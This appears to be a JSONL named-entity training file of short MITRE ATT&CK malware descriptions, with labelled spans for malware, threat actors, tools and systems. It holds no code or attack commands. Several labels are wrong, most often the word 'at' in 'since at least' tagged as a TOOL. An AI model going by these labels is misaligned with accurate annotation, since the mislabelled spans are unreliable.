{"text": "SHARPSTATS is a .NET backdoor used by MuddyWater since at least 2019.", "spans": {"MALWARE: SHARPSTATS": [[0, 10]], "SYSTEM: .NET": [[16, 20]], "THREAT_ACTOR: MuddyWater": [[38, 48]], "TOOL: at": [[55, 57]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0450"}}
{"text": "Ferocious is a first stage implant composed of VBS and PowerShell scripts that has been used by WIRTE since at least 2021.", "spans": {"MALWARE: Ferocious": [[0, 9]], "TOOL: PowerShell": [[55, 65]], "THREAT_ACTOR: WIRTE": [[96, 101]], "TOOL: at": [[108, 110]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0679"}}
{"text": "HOMEFRY is a 64-bit Windows password dumper/cracker that has previously been used in conjunction with other Leviathan backdoors.", "spans": {"MALWARE: HOMEFRY": [[0, 7]], "SYSTEM: Windows": [[20, 27]], "THREAT_ACTOR: Leviathan": [[108, 117]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0232"}}
{"text": "CreepyDrive is a custom implant has been used by POLONIUM since at least early 2022 for C2 with and exfiltration to actor-controlled OneDrive accounts.\n\nPOLONIUM has used a similar implant called CreepyBox that relies on actor-controlled DropBox accounts.", "spans": {"MALWARE: CreepyDrive": [[0, 11]], "THREAT_ACTOR: POLONIUM": [[49, 57], [153, 161]], "TOOL: at": [[64, 66]], "SYSTEM: OneDrive": [[133, 141]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1023"}}
{"text": "Caterpillar WebShell is a self-developed Web Shell tool created by the group Volatile Cedar.", "spans": {"MALWARE: Caterpillar WebShell": [[0, 20]], "THREAT_ACTOR: Volatile Cedar": [[77, 91]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0572"}}
{"text": "Netwalker is fileless ransomware written in PowerShell and executed directly in memory.", "spans": {"MALWARE: Netwalker": [[0, 9]], "TOOL: PowerShell": [[44, 54]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0457"}}
{"text": "Elise is a custom backdoor Trojan that appears to be used exclusively by Lotus Blossom. It is part of a larger group of tools referred to as LStudio, ST Group, and APT0LSTU.", "spans": {"MALWARE: Elise": [[0, 5]], "THREAT_ACTOR: Lotus Blossom": [[73, 86]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0081"}}
{"text": "USBferry is an information stealing malware and has been used by Tropic Trooper in targeted attacks against Taiwanese and Philippine air-gapped military environments. USBferry shares an overlapping codebase with YAHOYAH, though it has several features which makes it a distinct piece of malware.", "spans": {"MALWARE: USBferry": [[0, 8], [167, 175]], "THREAT_ACTOR: Tropic Trooper": [[65, 79]], "MALWARE: YAHOYAH": [[212, 219]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0452"}}
{"text": "WannaCry is ransomware that was first seen in a global attack during May 2017, which affected more than 150 countries. It contains worm-like features to spread itself across a computer network using the SMBv1 exploit EternalBlue.", "spans": {"MALWARE: WannaCry": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0366"}}
{"text": "Gazer is a backdoor used by Turla since at least 2016.", "spans": {"MALWARE: Gazer": [[0, 5]], "THREAT_ACTOR: Turla": [[28, 33]], "TOOL: at": [[40, 42]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0168"}}
{"text": "TSCookie is a remote access tool (RAT) that has been used by BlackTech in campaigns against Japanese targets.. TSCookie has been referred to as PLEAD though more recent reporting indicates a separation between the two.", "spans": {"MALWARE: TSCookie": [[0, 8], [111, 119]], "THREAT_ACTOR: BlackTech": [[61, 70]], "MALWARE: PLEAD": [[144, 149]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0436"}}
{"text": "Latrodectus is a Windows malware downloader that has been used since at least 2023 to download and execute additional payloads and modules. Latrodectus has most often been distributed through email campaigns, primarily by TA577 and TA578, and has infrastructure overlaps with historic IcedID operations.", "spans": {"MALWARE: Latrodectus": [[0, 11], [140, 151]], "SYSTEM: Windows": [[17, 24]], "TOOL: at": [[69, 71]], "THREAT_ACTOR: TA577": [[222, 227]], "THREAT_ACTOR: TA578": [[232, 237]], "MALWARE: IcedID": [[285, 291]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1160"}}
{"text": "Saint Bot is a .NET downloader that has been used by Saint Bear since at least March 2021.", "spans": {"MALWARE: Saint Bot": [[0, 9]], "SYSTEM: .NET": [[15, 19]], "THREAT_ACTOR: Saint Bear": [[53, 63]], "TOOL: at": [[70, 72]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1018"}}
{"text": "Pay2Key is a ransomware written in C++ that has been used by Fox Kitten since at least July 2020 including campaigns against Israeli companies. Pay2Key has been incorporated with a leak site to display stolen sensitive information to further pressure victims into payment.", "spans": {"MALWARE: Pay2Key": [[0, 7], [144, 151]], "THREAT_ACTOR: Fox Kitten": [[61, 71]], "TOOL: at": [[78, 80]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0556"}}
{"text": "Chaes is a multistage information stealer written in several programming languages that collects login credentials, credit card numbers, and other financial information. Chaes was first observed in 2020, and appears to primarily target victims in Brazil as well as other e-commerce customers in Latin America.", "spans": {"MALWARE: Chaes": [[0, 5], [170, 175]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0631"}}
{"text": "Briba is a trojan used by Elderwood to open a backdoor and download files on to compromised hosts.", "spans": {"MALWARE: Briba": [[0, 5]], "THREAT_ACTOR: Elderwood": [[26, 35]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0204"}}
{"text": "CharmPower is a PowerShell-based, modular backdoor that has been used by Magic Hound since at least 2022.", "spans": {"MALWARE: CharmPower": [[0, 10]], "TOOL: PowerShell": [[16, 26]], "THREAT_ACTOR: Magic Hound": [[73, 84]], "TOOL: at": [[91, 93]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0674"}}
{"text": "TYPEFRAME is a remote access tool that has been used by Lazarus Group.", "spans": {"MALWARE: TYPEFRAME": [[0, 9]], "THREAT_ACTOR: Lazarus Group": [[56, 69]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0263"}}
{"text": "3PARA RAT is a remote access tool (RAT) programmed in C++ that has been used by Putter Panda.", "spans": {"MALWARE: 3PARA RAT": [[0, 9]], "THREAT_ACTOR: Putter Panda": [[80, 92]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0066"}}
{"text": "Bundlore is adware written for macOS that has been in use since at least 2015. Though categorized as adware, Bundlore has many features associated with more traditional backdoors.", "spans": {"MALWARE: Bundlore": [[0, 8], [109, 117]], "SYSTEM: macOS": [[31, 36]], "TOOL: at": [[64, 66]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0482"}}
{"text": "P8RAT is a fileless malware used by menuPass to download and execute payloads since at least 2020.", "spans": {"MALWARE: P8RAT": [[0, 5]], "THREAT_ACTOR: menuPass": [[36, 44]], "TOOL: at": [[84, 86]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0626"}}
{"text": "VIRTUALPIE is a lightweight backdoor written in Python that spawns an IPv6 listener on a VMware ESXi server and features command line execution, file transfer,  and reverse shell capabilities. VIRTUALPIE has been in use since at least 2022 including by UNC3886 who installed it via malicious vSphere Installation Bundles (VIBs).", "spans": {"MALWARE: VIRTUALPIE": [[0, 10], [193, 203]], "SYSTEM: Python": [[48, 54]], "SYSTEM: VMware": [[89, 95]], "TOOL: at": [[226, 228]], "THREAT_ACTOR: UNC3886": [[253, 260]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1218"}}
{"text": "EVILNUM is fully capable backdoor that was first identified in 2018. EVILNUM is used by the APT group Evilnum which has the same name.", "spans": {"MALWARE: EVILNUM": [[0, 7], [69, 76]], "THREAT_ACTOR: Evilnum": [[102, 109]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0568"}}
{"text": "KOMPROGO is a signature backdoor used by APT32 that is capable of process, file, and registry management.", "spans": {"MALWARE: KOMPROGO": [[0, 8]], "THREAT_ACTOR: APT32": [[41, 46]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0156"}}
{"text": "SMOKEDHAM is a Powershell-based .NET backdoor that was first reported in May 2021; it has been used by at least one ransomware-as-a-service affiliate.", "spans": {"MALWARE: SMOKEDHAM": [[0, 9]], "SYSTEM: .NET": [[32, 36]], "TOOL: at": [[103, 105]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0649"}}
{"text": "Mori is a backdoor that has been used by MuddyWater since at least January 2022.", "spans": {"MALWARE: Mori": [[0, 4]], "THREAT_ACTOR: MuddyWater": [[41, 51]], "TOOL: at": [[58, 60]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1047"}}
{"text": "QUADAGENT is a PowerShell backdoor used by OilRig.", "spans": {"MALWARE: QUADAGENT": [[0, 9]], "TOOL: PowerShell": [[15, 25]], "THREAT_ACTOR: OilRig": [[43, 49]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0269"}}
{"text": "Sagerunex is a malware family exclusively associated with Lotus Blossom operations, with variants existing since at least 2016. Variations of Sagerunex leverage non-traditional command and control mechanisms such as various web services.", "spans": {"MALWARE: Sagerunex": [[0, 9], [142, 151]], "THREAT_ACTOR: Lotus Blossom": [[58, 71]], "TOOL: at": [[113, 115]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1210"}}
{"text": "TAINTEDSCRIBE is a fully-featured beaconing implant integrated with command modules used by Lazarus Group. It was first reported in May 2020.", "spans": {"MALWARE: TAINTEDSCRIBE": [[0, 13]], "THREAT_ACTOR: Lazarus Group": [[92, 105]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0586"}}
{"text": "Sys10 is a backdoor that was used throughout 2013 by Naikon.", "spans": {"MALWARE: Sys10": [[0, 5]], "THREAT_ACTOR: Naikon": [[53, 59]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0060"}}
{"text": "pngdowner is malware used by Putter Panda. It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple \"download-and-\nexecute\" utility.", "spans": {"MALWARE: pngdowner": [[0, 9]], "THREAT_ACTOR: Putter Panda": [[29, 41]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0067"}}
{"text": "Royal is ransomware that first appeared in early 2022;  a version that also targets ESXi servers was later observed in February 2023. Royal employs partial encryption and multiple threads to evade detection and speed encryption. Royal has been used in attacks against multiple industries worldwide--including critical infrastructure. Security researchers have identified similarities in the encryption routines and TTPs used in Royal and Conti attacks and noted a possible connection between their operators.", "spans": {"MALWARE: Royal": [[0, 5], [134, 139], [229, 234], [428, 433]], "MALWARE: Conti": [[438, 443]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1073"}}
{"text": "BendyBear is an x64 shellcode for a stage-zero implant designed to download malware from a C2 server. First discovered in August 2020, BendyBear shares a variety of features with Waterbear, malware previously attributed to the Chinese cyber espionage group BlackTech.", "spans": {"MALWARE: BendyBear": [[0, 9], [135, 144]], "MALWARE: Waterbear": [[179, 188]], "THREAT_ACTOR: BlackTech": [[257, 266]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0574"}}
{"text": "Uroburos is a sophisticated cyber espionage tool written in C that has been used by units within Russia's Federal Security Service (FSB) associated with the Turla toolset to collect intelligence on sensitive targets worldwide. Uroburos has several variants and has undergone nearly constant upgrade since its initial development in 2003 to keep it viable after public disclosures. Uroburos is typically deployed to external-facing nodes on a targeted network and has the ability to leverage additional tools and TTPs to further exploit an internal network. Uroburos has interoperable implants for Windows, Linux, and macOS, employs a high level of stealth in communications and architecture, and can easily incorporate new or replacement components.", "spans": {"MALWARE: Uroburos": [[0, 8], [227, 235], [381, 389], [557, 565]], "ORGANIZATION: FSB": [[132, 135]], "THREAT_ACTOR: Turla": [[157, 162]], "SYSTEM: Windows": [[597, 604]], "SYSTEM: Linux": [[606, 611]], "SYSTEM: macOS": [[617, 622]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0022"}}
{"text": "Metamorfo is a Latin-American banking trojan operated by a Brazilian cybercrime group that has been active since at least April 2018. The group focuses on targeting banks and cryptocurrency services in Brazil and Mexico.", "spans": {"MALWARE: Metamorfo": [[0, 9]], "TOOL: at": [[113, 115]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0455"}}
{"text": "Spica is a custom backdoor written in Rust that has been used by Star Blizzard since at least 2023.", "spans": {"MALWARE: Spica": [[0, 5]], "THREAT_ACTOR: Star Blizzard": [[65, 78]], "TOOL: at": [[85, 87]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1140"}}
{"text": "Embargo is a ransomware variant written in Rust that has been active since at least May 2024.  Embargo ransomware operations are associated with “double extortion” ransomware activity, where data is exfiltrated from victim environments prior to encryption, with threats to publish files if a ransom is not paid.  Embargo ransomware has been known to be delivered through a loader known as MDeployer which also leverages a malware component known as MS4Killer that facilitates termination of processes operating on the victim hosts. Embargo is also reportedly a Ransomware as a Service (RaaS).", "spans": {"MALWARE: Embargo": [[0, 7], [95, 102], [313, 320], [532, 539]], "TOOL: at": [[75, 77]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1247"}}
{"text": "Trojan.Karagany is a modular remote access tool used for recon and linked to Dragonfly. The source code for Trojan.Karagany originated from Dream Loader malware which was leaked in 2010 and sold on underground forums.", "spans": {"MALWARE: Trojan.Karagany": [[0, 15], [108, 123]], "THREAT_ACTOR: Dragonfly": [[77, 86]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0094"}}
{"text": "Bandook is a commercially available RAT, written in Delphi and C++, that has been available since at least 2007. It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. Bandook has been used by Dark Caracal, as well as in a separate campaign referred to as \"Operation Manul\".", "spans": {"MALWARE: Bandook": [[0, 7], [274, 281]], "TOOL: at": [[98, 100]], "THREAT_ACTOR: Dark Caracal": [[299, 311]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0234"}}
{"text": "PipeMon is a multi-stage modular backdoor used by Winnti Group.", "spans": {"MALWARE: PipeMon": [[0, 7]], "THREAT_ACTOR: Winnti Group": [[50, 62]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0501"}}
{"text": "SYNful Knock is a stealthy modification of the operating system of network devices that can be used to maintain persistence within a victim's network and provide new capabilities to the adversary.", "spans": {"MALWARE: SYNful Knock": [[0, 12]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0519"}}
{"text": "MagicRAT is a remote access tool developed in C++ and exclusively used by the Lazarus Group threat actor in operations. MagicRAT allows for arbitrary command execution on victim machines and provides basic remote access functionality.", "spans": {"MALWARE: MagicRAT": [[0, 8], [120, 128]], "THREAT_ACTOR: Lazarus Group": [[78, 91]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1182"}}
{"text": "TINYTYPHON is a backdoor  that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm.", "spans": {"MALWARE: TINYTYPHON": [[0, 10]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0131"}}
{"text": "KONNI is a remote access tool that security researchers assess has been used by North Korean cyber actors since at least 2014. KONNI has significant code overlap with the NOKKI malware family, and has been linked to several suspected North Korean campaigns targeting political organizations in Russia, East Asia, Europe and the Middle East; there is some evidence potentially linking KONNI to APT37.", "spans": {"MALWARE: KONNI": [[0, 5], [127, 132], [384, 389]], "TOOL: at": [[112, 114]], "MALWARE: NOKKI": [[171, 176]], "THREAT_ACTOR: APT37": [[393, 398]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0356"}}
{"text": "T9000 is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations.", "spans": {"MALWARE: T9000": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0098"}}
{"text": "Winnti for Linux is a trojan, seen since at least 2015, designed specifically for targeting Linux systems. Reporting indicates the winnti malware family is shared across a number of actors including Winnti Group. The Windows variant is tracked separately under Winnti for Windows.", "spans": {"MALWARE: Winnti for Linux": [[0, 16]], "TOOL: at": [[41, 43]], "SYSTEM: Linux": [[92, 97]], "THREAT_ACTOR: Winnti Group": [[199, 211]], "SYSTEM: Windows": [[217, 224]], "MALWARE: Winnti for Windows": [[261, 279]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0430"}}
{"text": "RAPIDPULSE is a web shell that exists as a modification to a legitimate Pulse Secure file that has been used by APT5 since at least 2021.", "spans": {"MALWARE: RAPIDPULSE": [[0, 10]], "THREAT_ACTOR: APT5": [[112, 116]], "TOOL: at": [[123, 125]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1113"}}
{"text": "gh0st RAT is a remote access tool (RAT). The source code is public and it has been used by multiple groups.", "spans": {"MALWARE: gh0st RAT": [[0, 9]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0032"}}
{"text": "Shamoon is wiper malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. Shamoon has also been seen leveraging RawDisk and Filerase to carry out data wiping tasks. Analysis has linked Shamoon with Kwampirs based on multiple shared artifacts and coding patterns. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.", "spans": {"MALWARE: Shamoon": [[0, 7], [138, 145], [152, 159], [194, 201], [305, 312], [392, 399]], "MALWARE: RawDisk": [[232, 239]], "MALWARE: Kwampirs": [[318, 326]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0140"}}
{"text": "Skeleton Key is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password.  Functionality similar to Skeleton Key is included as a module in Mimikatz.", "spans": {"MALWARE: Skeleton Key": [[0, 12], [156, 168]], "TOOL: Mimikatz": [[196, 204]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0007"}}
{"text": "DnsSystem is a .NET based DNS backdoor, which is a customized version of the open source tool DIG.net, that has been used by HEXANE since at least June 2022.", "spans": {"MALWARE: DnsSystem": [[0, 9]], "SYSTEM: .NET": [[15, 19]], "SYSTEM: DNS": [[26, 29]], "DOMAIN: DIG.net": [[94, 101]], "THREAT_ACTOR: HEXANE": [[125, 131]], "TOOL: at": [[138, 140]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1021"}}
{"text": "MoleNet is a downloader tool with backdoor capabilities that has been observed in use since at least 2019.", "spans": {"MALWARE: MoleNet": [[0, 7]], "TOOL: at": [[92, 94]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0553"}}
{"text": "CORALDECK is an exfiltration tool used by APT37.", "spans": {"MALWARE: CORALDECK": [[0, 9]], "THREAT_ACTOR: APT37": [[42, 47]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0212"}}
{"text": "JHUHUGIT is malware used by APT28. It is based on Carberp source code and serves as reconnaissance malware.", "spans": {"MALWARE: JHUHUGIT": [[0, 8]], "THREAT_ACTOR: APT28": [[28, 33]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0044"}}
{"text": "SPACESHIP is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.", "spans": {"MALWARE: SPACESHIP": [[0, 9]], "THREAT_ACTOR: APT30": [[34, 39], [113, 118]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0035"}}
{"text": "BLUELIGHT is a remote access Trojan used by APT37 that was first observed in early 2021.", "spans": {"MALWARE: BLUELIGHT": [[0, 9]], "THREAT_ACTOR: APT37": [[44, 49]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0657"}}
{"text": "KGH_SPY is a modular suite of tools used by Kimsuky for reconnaissance, information stealing, and backdoor capabilities. KGH_SPY derived its name from PDB paths and internal names found in samples containing \"KGH\".", "spans": {"MALWARE: KGH_SPY": [[0, 7], [121, 128]], "THREAT_ACTOR: Kimsuky": [[44, 51]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0526"}}
{"text": "down_new is a downloader that has been used by BRONZE BUTLER since at least 2019.", "spans": {"MALWARE: down_new": [[0, 8]], "THREAT_ACTOR: BRONZE BUTLER": [[47, 60]], "TOOL: at": [[67, 69]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0472"}}
{"text": "Ixeshe is a malware family that has been used since at least 2009 against targets in East Asia.", "spans": {"MALWARE: Ixeshe": [[0, 6]], "TOOL: at": [[52, 54]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0015"}}
{"text": "Micropsia is a remote access tool written in Delphi.", "spans": {"MALWARE: Micropsia": [[0, 9]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0339"}}
{"text": "Kerrdown is a custom downloader that has been used by APT32 since at least 2018 to install spyware from a server on the victim's network.", "spans": {"MALWARE: Kerrdown": [[0, 8]], "THREAT_ACTOR: APT32": [[54, 59]], "TOOL: at": [[66, 68]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0585"}}
{"text": "RARSTONE is malware used by the Naikon group that has some characteristics similar to PlugX.", "spans": {"MALWARE: RARSTONE": [[0, 8]], "THREAT_ACTOR: Naikon": [[32, 38]], "MALWARE: PlugX": [[86, 91]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0055"}}
{"text": "RedLine Stealer is an information-stealer malware variant first identified in 2020.  RedLine Stealer is a Malware as a Service (MaaS) and was reportedly sold as either a one-time purchase or a monthly subscription service.   Information obtained from RedLine Stealer has been known to be sold on the deep and dark web to Initial Access Brokers (IABs), who use or resell the stolen credentials for further intrusions.", "spans": {"MALWARE: RedLine Stealer": [[0, 15], [85, 100], [251, 266]], "SYSTEM: Access": [[329, 335]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1240"}}
{"text": "VBShower is a backdoor that has been used by Inception since at least 2019. VBShower has been used as a downloader for second stage payloads, including PowerShower.", "spans": {"MALWARE: VBShower": [[0, 8], [76, 84]], "THREAT_ACTOR: Inception": [[45, 54]], "TOOL: at": [[61, 63]], "MALWARE: PowerShower": [[152, 163]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0442"}}
{"text": "BPFDoor is a Linux based passive long-term backdoor used by China-based threat actors. First seen in 2021, BPFDoor is named after its usage of Berkley Packet Filter (BPF) to execute single task instructions. BPFDoor supports multiple protocols for communicating with a C2 including TCP, UDP, and ICMP and can start local or reverse shells that bypass firewalls using iptables.", "spans": {"MALWARE: BPFDoor": [[0, 7], [107, 114], [208, 215]], "SYSTEM: Linux": [[13, 18]], "TOOL: iptables": [[367, 375]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1161"}}
{"text": "Black Basta is ransomware written in C++ that has been offered within the ransomware-as-a-service (RaaS) model since at least April 2022; there are variants that target Windows and VMWare ESXi servers. Black Basta operations have included the double extortion technique where in addition to demanding ransom for decrypting the files of targeted organizations the cyber actors also threaten to post sensitive information to a leak site if the ransom is not paid. Black Basta affiliates have targeted multiple high-value organizations, with the largest number of victims based in the U.S. Based on similarities in TTPs, leak sites, payment sites, and negotiation tactics, security researchers assess the Black Basta RaaS operators could include current or former members of the Conti group.", "spans": {"MALWARE: Black Basta": [[0, 11], [202, 213], [462, 473], [702, 713]], "TOOL: at": [[117, 119]], "SYSTEM: Windows": [[169, 176]], "MALWARE: Conti": [[776, 781]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1070"}}
{"text": "ZeroCleare is a wiper malware that has been used in conjunction with the RawDisk driver since at least 2019 by suspected Iran-nexus threat actors including activity targeting the energy and industrial sectors in the Middle East and political targets in Albania.", "spans": {"MALWARE: ZeroCleare": [[0, 10]], "MALWARE: RawDisk": [[73, 80]], "TOOL: at": [[94, 96]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1151"}}
{"text": "Catchamas is a Windows Trojan that steals information from compromised systems.", "spans": {"MALWARE: Catchamas": [[0, 9]], "SYSTEM: Windows": [[15, 22]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0261"}}
{"text": "StoneDrill is wiper malware discovered in destructive campaigns against both Middle Eastern and European targets in association with APT33.", "spans": {"MALWARE: StoneDrill": [[0, 10]], "THREAT_ACTOR: APT33": [[133, 138]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0380"}}
{"text": "OopsIE is a Trojan used by OilRig to remotely execute commands as well as upload/download files to/from victims.", "spans": {"MALWARE: OopsIE": [[0, 6]], "THREAT_ACTOR: OilRig": [[27, 33]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0264"}}
{"text": "4H RAT is malware that has been used by Putter Panda since at least 2007.", "spans": {"MALWARE: 4H RAT": [[0, 6]], "THREAT_ACTOR: Putter Panda": [[40, 52]], "TOOL: at": [[59, 61]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0065"}}
{"text": "RogueRobin is a payload used by DarkHydrus that has been developed in PowerShell and C#.", "spans": {"MALWARE: RogueRobin": [[0, 10]], "THREAT_ACTOR: DarkHydrus": [[32, 42]], "TOOL: PowerShell": [[70, 80]], "SYSTEM: C#": [[85, 87]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0270"}}
{"text": "Attor is a Windows-based espionage platform that has been seen in use since 2013. Attor has a loadable plugin architecture to customize functionality for specific targets.", "spans": {"MALWARE: Attor": [[0, 5], [82, 87]], "SYSTEM: Windows": [[11, 18]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0438"}}
{"text": "DealersChoice is a Flash exploitation framework used by APT28.", "spans": {"MALWARE: DealersChoice": [[0, 13]], "THREAT_ACTOR: APT28": [[56, 61]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0243"}}
{"text": "SQLRat is malware that executes SQL scripts to avoid leaving traditional host artifacts. FIN7 has been observed using it.", "spans": {"MALWARE: SQLRat": [[0, 6]], "THREAT_ACTOR: FIN7": [[89, 93]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0390"}}
{"text": "LitePower is a downloader and second stage malware that has been used by WIRTE since at least 2021.", "spans": {"MALWARE: LitePower": [[0, 9]], "THREAT_ACTOR: WIRTE": [[73, 78]], "TOOL: at": [[85, 87]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0680"}}
{"text": "MegaCortex is ransomware that first appeared in May 2019.  MegaCortex has mainly targeted industrial organizations.", "spans": {"MALWARE: MegaCortex": [[0, 10], [59, 69]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0576"}}
{"text": "StreamEx is a malware family that has been used by Deep Panda since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites.", "spans": {"MALWARE: StreamEx": [[0, 8]], "THREAT_ACTOR: Deep Panda": [[51, 61]], "TOOL: at": [[68, 70]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0142"}}
{"text": "BoxCaon is a Windows backdoor that was used by IndigoZebra in a 2021 spearphishing campaign against Afghan government officials. BoxCaon's name stems from similarities shared with the malware family xCaon.", "spans": {"MALWARE: BoxCaon": [[0, 7], [129, 136]], "SYSTEM: Windows": [[13, 20]], "THREAT_ACTOR: IndigoZebra": [[47, 58]], "MALWARE: xCaon": [[199, 204]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0651"}}
{"text": "NightClub is a modular implant written in C++ that has been used by MoustachedBouncer since at least 2014.", "spans": {"MALWARE: NightClub": [[0, 9]], "THREAT_ACTOR: MoustachedBouncer": [[68, 85]], "TOOL: at": [[92, 94]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1090"}}
{"text": "Crutch is a backdoor designed for document theft that has been used by Turla since at least 2015.", "spans": {"MALWARE: Crutch": [[0, 6]], "THREAT_ACTOR: Turla": [[71, 76]], "TOOL: at": [[83, 85]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0538"}}
{"text": "Akira _v2 is a Rust-based variant of Akira ransomware that has been in use since at least 2024. Akira _v2 is designed to target VMware ESXi servers and includes a new command-line argument set and other expanded capabilities.", "spans": {"MALWARE: Akira _v2": [[0, 9], [96, 105]], "MALWARE: Akira": [[37, 42]], "TOOL: at": [[81, 83]], "SYSTEM: VMware": [[128, 134]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1194"}}
{"text": "SDBbot is a backdoor with installer and loader components that has been used by TA505 since at least 2019.", "spans": {"MALWARE: SDBbot": [[0, 6]], "THREAT_ACTOR: TA505": [[80, 85]], "TOOL: at": [[92, 94]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0461"}}
{"text": "Mosquito is a Win32 backdoor that has been used by Turla. Mosquito is made up of three parts: the installer, the launcher, and the backdoor. The main backdoor is called CommanderDLL and is launched by the loader program.", "spans": {"MALWARE: Mosquito": [[0, 8], [58, 66]], "THREAT_ACTOR: Turla": [[51, 56]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0256"}}
{"text": "RTM is custom malware written in Delphi. It is used by the group of the same name (RTM). Newer versions of the malware have been reported publicly as Redaman.", "spans": {"MALWARE: RTM": [[0, 3], [83, 86]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0148"}}
{"text": "QUIETCANARY is a backdoor tool written in .NET that has been used since at least 2022 to gather and exfiltrate data from victim networks.", "spans": {"MALWARE: QUIETCANARY": [[0, 11]], "SYSTEM: .NET": [[42, 46]], "TOOL: at": [[72, 74]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1076"}}
{"text": "Derusbi is malware used by multiple Chinese APT groups. Both Windows and Linux variants have been observed.", "spans": {"MALWARE: Derusbi": [[0, 7]], "SYSTEM: Windows": [[61, 68]], "SYSTEM: Linux": [[73, 78]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0021"}}
